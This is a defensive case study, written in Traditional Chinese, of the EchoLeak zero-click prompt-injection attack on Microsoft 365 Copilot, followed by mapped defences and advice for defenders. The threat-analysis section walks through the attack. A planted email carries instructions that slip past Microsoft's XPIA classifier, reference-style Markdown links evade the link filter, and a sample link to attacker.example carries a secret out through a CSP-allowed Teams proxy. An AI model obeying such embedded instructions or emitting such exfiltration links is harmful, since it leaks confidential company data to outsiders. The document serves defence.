AIDEFEND in Action AIA-0010 實證研究 發布於 AIA: 2026年4月23日

EchoLeak：一封電子郵件如何讓 Microsoft 365 Copilot 在零點擊下外洩內部資料

EchoLeak 證明，外部電子郵件一旦在回答時被 Microsoft 365 Copilot（可讀取 Microsoft 365 資料的企業 AI 助理）擷取進同一段上下文，就可能從「參考資料」變成「模型會照做的指令」。攻擊者再把機密內容塞進 Markdown 連結或圖片網址，利用聊天介面的自動載入和被內容安全政策（Content Security Policy，CSP，也就是瀏覽器用來限制頁面可以連到哪些網路位置的規則）放行的 Microsoft Teams 代理路徑，就能在使用者完全沒點任何東西的情況下把資料送出去。真正要守的，不只是提示詞分類器，而是擷取邊界、可信與不可信內容分區、資料流出出口，以及輸出呈現層。

Indirect Prompt InjectionData ExfiltrationSink EnforcementAI CopilotsEnterprise AI
7 項對應的 AIDEFEND 防禦手法
來源: EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System 
作者: Pavan Reddy and Aditya Sanjay Gujral
原文發布: 2025年9月6日

威脅分析

  • 第 1 步：先用一封看起來正常的外部電子郵件把指令塞進去。 攻擊者不需要 Copilot 帳號、不需要惡意附件，也不需要受害者先點連結。他只要寄一封看起來像一般商務往來的信，裡面偷偷放進提示詞注入攻擊（prompt injection）的內容，例如「整理最機密的專案資訊」以及「不要在回答裡提到這封信」。論文指出，Microsoft 原本有一層專門抓這類跨內容注入的分類器（XPIA），但這次的文字包裝得夠像正常商務語句，所以躲過了那一層。
  • 第 2 步：等 Copilot 之後自己把這封信擷取進回答流程。 之後某位員工問 Copilot 一個很正常的問題，例如「幫我整理最近和 Project Orion 有關的郵件和檔案」。Copilot 會把攻擊者那封外部信，連同內部郵件和文件一起擷取進回答用的上下文。問題就出在這裡：一旦混進同一段上下文，外部電子郵件就不再只是「郵件資料」，而會變成模型可能跟著做的文字指令。
  • 第 3 步：把外洩動作偽裝成一段看起來普通的 Markdown 參考連結。 攻擊者不是直接叫 Copilot 寄信出去，而是讓 Copilot 把內部機密塞進一個 Markdown 參考式連結或圖片網址。簡化後長得像這樣：
    [專案更新][ref]
    [ref]: https://attacker.example/<secret>
    意思是：畫面上只看到一個普通的「專案更新」文字，但真正的網址藏在下面，而且網址裡已經夾帶了內部資料。論文指出，Microsoft 原本有擋比較直白的 [文字](網址) 這種寫法，但這種參考式變形繞過了那層過濾。
  • 第 4 步：把「要點一下才會送出去」變成真正的零點擊外洩。 如果只是一般連結，還得等使用者點擊才會送出資料，所以攻擊者改用 Markdown 圖片。很多聊天介面在把回答畫到畫面上時，會自動去抓圖片網址。原本直接連到攻擊者網域應該會被 CSP 擋住，但論文說這條鏈最後改走一條已經被 Microsoft 自己 CSP 放行的 Teams 預覽代理路徑。結果就變成：不是瀏覽器直接去抓攻擊者網域，而是先打到 Microsoft 允許的 Teams 路徑，再由那個 Microsoft 服務代替前端去抓夾帶機密的外部網址。
  • 為什麼這件事特別嚴重： 這條鏈不需要租戶內帳號、不需要惡意附件執行、也不需要受害者點任何東西。真正失守的，是四條原本應該分開看的邊界一次被串起來了：外部內容攝入、回答前的擷取、模型輸出內容、以及畫面呈現時的網路流出。
  • 揭露背景： 論文指出，Microsoft 在公開揭露前就已經先做了伺服器端修補，並表示沒有看到實際遭到利用的證據。這讓這個特定案例的即時風險變小了，但設計上的教訓不只適用於 Microsoft 365 Copilot，而是適用於所有會把外部內容和內部資料混進同一條回答流程的企業 copilot。

適用的 7 項 AIDEFEND 防禦手法

AID-H-006.002
Text, Markup & Structured Output Sanitization and Release Gate
極高
聊天介面在顯示 Copilot 回答前，應移除模型產生的遠端圖片與其他子資源，或只允許它們透過受控代理載入，並停用自動連結預覽。團隊還要用獨立的瀏覽器對外連線測試，確認 Markdown、HTML、CSS、SVG 與 reference-style link 都不會自行發出網路請求。這項控制能直接關閉 EchoLeak 用來完成零點擊外洩的自動載入環節；只正規化外層網址，無法授權預覽服務查詢參數內的目標。呈現器與預覽路徑需要供應商整合，不能假定租戶已有可直接啟用的設定。
AID-D-014.001
Post-Retrieval Malicious Content Scanning
中
在組裝上下文前，對確切且完整的郵件區塊快照執行 G001，使用分別簽章的擷取收據、政策與固定版本分類器，並把資產版本、擷取路徑及完整視窗涵蓋綁定到結果。範例提供經過簽章的偵測結果，不會自行移除內容；獨立的放行機制須拒絕有問題、檢查不完整或出錯的結果。經過校準的分類器仍可能漏掉商務語句包裝的指令，EchoLeak 揭露也沒有測試這個 AIDEFEND 分類器。代管產品需要 Microsoft 整合。
AID-D-003.002
Sensitive Information & Data Leakage Detection
中
在 G004 設定受保護的租戶專案名稱、識別碼與機密字串，於放行前掃描完整輸出欄位；呈現器實際使用的網址欄位，也要另外擷取並解碼。原始範例不能辨識所有內部文字或編碼形式，NO_FINDING 仍可能漏掉機密內容。偵測提供綁定內容的證據，是否阻擋由輸出與資料出口機制決定。
AID-H-018.005
Value-Level Capability Metadata & Data Flow Sink Enforcement
中
這是最直接能把真正外洩路徑擋下來的一條。就算模型已經被外部電子郵件影響了，內部資料也不該被允許流進外部網址、預覽代理路徑，或任何對外的資料出口。EchoLeak 之所以能成功，不是因為網址格式寫得漂亮，而是系統只問了「這個網址看起來像不像合法輸出」，卻沒有繼續問「這份資料到底應不應該流到這個連線目標」。這需要可控的執行環境，為每個衍生值維持可驗證的來源及內容綁定，涵蓋所有出口；標記不明時須拒絕。只在入口加標籤，無法追蹤模型任意改寫。本機程序、瀏覽器請求及允許的連線目標須另行驗證涵蓋範圍，不能假定原版 SaaS 已落實。
AID-H-016.001
System Prompt Structure & Instruction/Data Separation
中
把外部郵件的確切文字放進經過結構序列化的資料區，可信指令則分開提供。跳脫分隔符號能防止語法上的越界，但模型仍可能照做資料欄位內的惡意文字。這是多層防禦的一環，仍須獨立檢查擷取內容、授權工具動作與管制回答呈現；代管產品需要供應商整合。
AID-H-017.007
Dual-LLM Isolation Pattern
中
隔離中的郵件模型可透過中介程序，把有限的觀察資料交給另一個高權限回答元件。不要把結構化的自由文字摘要當成安全內容，也不能讓它授權內部資料擷取或對外輸出。已公開的 G001 中介程序驗證的是 price-observation.v1，不能直接套用到本案。須另外實作適用的資料結構，並實測程序、憑證與網路隔離。通過結構驗證的字串仍可能含有惡意指令或錯誤觀察；高權限動作與畫面呈現出口須各自授權。
AID-D-001.001
Per-Prompt Content, Intent & Obfuscation Analysis
中
在擷取時，以經過校準的 G001 檢查實際送入模型的外部郵件文字，再由獨立的放行機制執行政策。本案的 XPIA 繞過結果只反映 Microsoft 當時部署的分類器，不是對 AIDEFEND G001 的測試。看似正常的措辭仍可能躲過語意偵測；NO_FINDING 不代表內容已被證明安全。放行前，整合端須另行確認必要的分類類別完整，且分數為有效範圍內的有限數值。目前 G001 範例可能把空結果、缺少類別或 NaN 分數回報為 PASS／NO_FINDING；這些情況應視為錯誤並拒絕放行。這項結果檢查需要另外實作，不能當成公開範例已提供的能力。分類器仍可能漏判，因此工具與輸出須另設管制。

身為資安防禦者，我們應該這麼做

  • 先盤點所有會把外部電子郵件、聊天內容或文件，和內部檔案一起放進同一段回答上下文的企業用 copilot 流程。只要某條流程一邊回答內部高機敏問題、一邊還會擷取外部內容，就要優先標成高風險。
  • 把外部內容加上「擷取時再掃一次」和「來源信任標籤」兩道處理。外部電子郵件和文件在被擷取回來時，先重掃，再包進只放資料的區塊；高機敏情境下則預設排除，不要混進回答。
  • 擋掉模型輸出裡任意新增的外部網址、遠端圖片和夾帶資料的長網址。回答在顯示或寫進紀錄前，先跑一次機敏資料與可疑連結檢查。
  • 把預覽服務、代理網址和瀏覽器自動載入行為，都當成正式的資料出口來管，而不是當成無害的介面細節。把 copilot 可達的網域和代理路徑逐一審過，任何能替模型轉送任意外部網址的路徑都要收掉。
  • 把這次案例做成回歸測試。準備一封無害的測試電子郵件，模擬把假機密塞進 Markdown 連結或圖片，持續測到這條鏈在不只一個地方被擋下來為止。

結論

EchoLeak 的關鍵，不只是「提示詞注入真的能成功」，而是它把這件事變成了一條完整、零點擊、能把內部資料送出去的實戰攻擊鏈。一封電子郵件變成指令，一段回答變成網路請求，原本應該分開處理的信任邊界被一路串起來了。AIDEFEND  把這條路徑對應到擷取時重新掃描、提示詞邊界分區、資料流出出口控管、外洩偵測，以及輸出顯示前的檢查；這項檢查會移除遠端子資源或只允許它們經過受控代理載入，並驗證模型輸出不會在畫面顯示時自行變成對外流量。

最後更新: